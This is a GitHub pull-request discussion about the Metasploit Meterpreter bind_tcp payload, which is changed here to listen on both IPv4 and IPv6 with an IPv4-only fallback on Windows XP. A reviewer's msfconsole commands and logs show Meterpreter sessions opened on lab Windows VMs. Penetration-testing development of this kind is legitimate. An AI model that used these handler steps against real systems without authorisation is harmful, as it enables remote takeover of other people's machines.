Closed OJ closed 9 years ago
Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/166/ Test PASSED.
Looks good on Windows 8.1:
bcook@AUS-MAC:~/projects/metasploit-framework$ ./msfconsole -qx "use exploit/multi/handler; set payload windows/meterpreter_bind_tcp; set rhost 2001::2; run"
payload => windows/meterpreter_bind_tcp
rhost => 2001::2
[*] Started bind handler
[*] Starting the payload handler...
[*] Meterpreter session 1 opened (2001::1:49539 -> 2001::2:4444) at 2015-04-01 21:23:45 -0500
meterpreter > sysinfo
Computer : WINDOWS-8-VM
OS : Windows 8 (Build 9200).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x86/win32
msf exploit(handler) > set rhost 192.168.56.102
rhost => 192.168.56.102
msf exploit(handler) > run
[*] Started bind handler
[*] Starting the payload handler...
[*] Meterpreter session 3 opened (192.168.56.1:49541 -> 192.168.56.102:4444) at 2015-04-01 21:24:30 -0500
meterpreter > sysinfo
Computer : WINDOWS-8-VM
OS : Windows 8 (Build 9200).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x86/win32
Windows XP is fine too:
msf exploit(handler) > run
[*] Started bind handler
[*] Starting the payload handler...
[*] Meterpreter session 4 opened (192.168.56.1:50003 -> 192.168.56.103:4444) at 2015-04-01 21:44:36 -0500
meterpreter > sysinfo
Computer : BRENT-4D9EAB94D
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
Sorry @bcook-r7 I didn't realise that there was a merge conflict here. This should be fixed up now. Thanks!
Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/178/ Test PASSED.
Hmm, there wasn't when I first tested it. I think I merely forgot to push!
Classic :)
Thanks man!
Thank you!
This PR includes code which attempts to bind to both IPv4 and IPv6 addresses so that the attacker can connect on either interface.
In the case of Windows XP, the IPv6 stack doesn't allow modification of the socket options so that both address types can be listened to on the same socket. Rather than create separate sockets for both cases, XP and earlier simply fall back to IPv4 only.
Verification
bind_tcp
runs on Windows XP and earlier that IPv4 is bound to successfully.bind_tcp
runs on Windows later than Windows XP that IPv4 and IPv6 are bound to successfully.Sample run:
On the target (Win7), listener bound to both:
On the attacker, connecting via IPv4 then IPv6:
restart the payload and then...